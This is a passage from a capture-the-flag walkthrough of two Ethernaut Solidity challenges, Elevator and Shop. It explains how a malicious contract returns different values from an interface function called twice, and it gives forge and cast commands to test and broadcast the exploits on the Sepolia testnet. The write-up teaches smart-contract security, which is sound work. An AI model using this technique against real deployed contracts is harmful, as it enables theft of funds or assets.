floor = _floor;
top = building.isLastFloor(floor);
}
our goal is to pass the check !building.isLastFloor(_floor)
so that we can make top == True
by hacking the interface function isLastFloor()
.
we can achieve this by tailoring an exploit using the interface and defining isLastFloor()
to return false
in the first call and true
in the second call (with the same input).
an exploit could be crafted with contract.call(abi.encodeWithSignature("goTo(uint)", 0))
.
however, since we are leveraging foundry, we craft the following exploit:
which can be tested with test/11.Elevator.t.sol
:
by running:
> forge test --match-contract ElevatorTest -vvvv
and submitted with script/11/Elevator.s.sol
:
by running:
> forge script ./script/11/Elevator.s.sol \
--broadcast -vvvv \
--rpc-url sepolia
cast
and forge
another way to submit our exploit is through cast
. first, we could deploy our attack contract with:
> forge create src/11/ElevatorExploit.sol:ElevatorExploit \
--constructor-args=<level address> \
--private-key=<private-key> \
--rpc-url=<sepolia url>
then, we call the contract with:
> cast send <level address> "run()" \
--gas <extra gas> \
--private-key=<private-key> --rpc-url=<sepolia url>
top()
is true
with:> cast call <level address> "top()" --rpc-url=<sepolia url>
in this challenge we explore restrictions of view
functions through an interface
, similarly to level 11
for Elevator
:
now, the goal is to find a way to buy items from a Shop
contract for a lower price when compared to sold items.
remember that a view
function cannot modify the state of the contract.
for instance, it cannot write to state variables, create other contracts, emit events, send ether with call()
, use any low-level calls, use selfdestruct()
, call functions that pure
or view
, or use inline assembly with certain opcodes.
the first part of this contract is the interface Buyer
that defines as external view
function, price()
, representing the amount of wei
a Buyer
must pay:
interface Buyer {
function price() external view returns (uint);
}
then, in the Shop
contract, we have two state variables:
uint public price = 100;
bool public isSold;
and a public
function buy()
, where the price()
is being called twice.
this is our vulnerability, as one should never trust external inputs (e.g., coming from the interface
implementation):
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
in other words, Shop
expects Buyer
to return the price it is willing to pay to buy the item, believing that the price would not change the second time it is called, as it is a view
function.
we will use this as our exploit, querying the value of isSold()
and returning a different result based on our needs:
the first time price()
is called, it returns >100
to enter the loop.
then, the second time, it can return anything lower.
we craft the following exploit at src/21/ShopExploit.sol
:
check test/21.Shop.t.sol
for testing this solution::
running:
> forge test --match-contract ShopTest -vvvv
then, submit the solution with script/21/Shop.s.sol
:
by running:
> forge script ./script/21/Shop.s.sol --broadcast -vvvv --rpc-url sepolia